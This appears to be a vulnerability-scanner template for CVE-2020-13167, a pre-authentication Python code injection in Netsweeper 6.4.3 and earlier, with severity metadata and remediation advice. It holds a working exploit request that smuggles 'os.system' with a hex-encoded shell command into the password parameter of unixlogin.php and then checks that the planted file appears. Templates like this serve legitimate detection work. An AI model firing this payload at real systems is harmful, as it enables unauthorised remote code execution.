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id : CVE-2020-13167
2020-07-07 19:26:15 +00:00
info :
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name : Netsweeper <=6.4.3 - Python Code Injection
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author : dwisiswant0
severity : critical
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description : |
Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
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impact : |
Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
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remediation : |
Upgrade to a patched version of Netsweeper (>=6.4.4) to mitigate this vulnerability.
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reference :
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- https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
- https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
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- https://nvd.nist.gov/vuln/detail/CVE-2020-13167
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- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2020-13167
cwe-id : CWE-78
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epss-score : 0.97432
epss-percentile : 0.9994
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cpe : cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
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metadata :
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max-request : 2
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vendor : netsweeper
product : netsweeper
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tags : cve2020,cve,netsweeper,rce,python,webadmin
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variables :
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rand_str : "{{randstr}}"
cmd : 'echo "{{base64(rand_str)}}" | base64 -d > /usr/local/netsweeper/webadmin/out'
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http :
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- method : GET
path :
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- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5"
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- "{{BaseURL}}/webadmin/out"
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headers :
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Referer : "{{BaseURL}}/webadmin/admin/service_manager_data.php"
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matchers-condition : and
matchers :
- type : word
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part : body_2
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words :
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- "{{rand_str}}"
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- type : status
status :
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- 200
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# digest: 4b0a004830460221009c3a8dc44a99fe2867c19eea945150fb1894eb9235112ddf613bb77aabc8a3f8022100d55021421a7e4d24d6f8b449f29dac9b65a9165d6223b22ce1301e90ccdbfe9e:922c64590222798bb761d5b6d8e72950
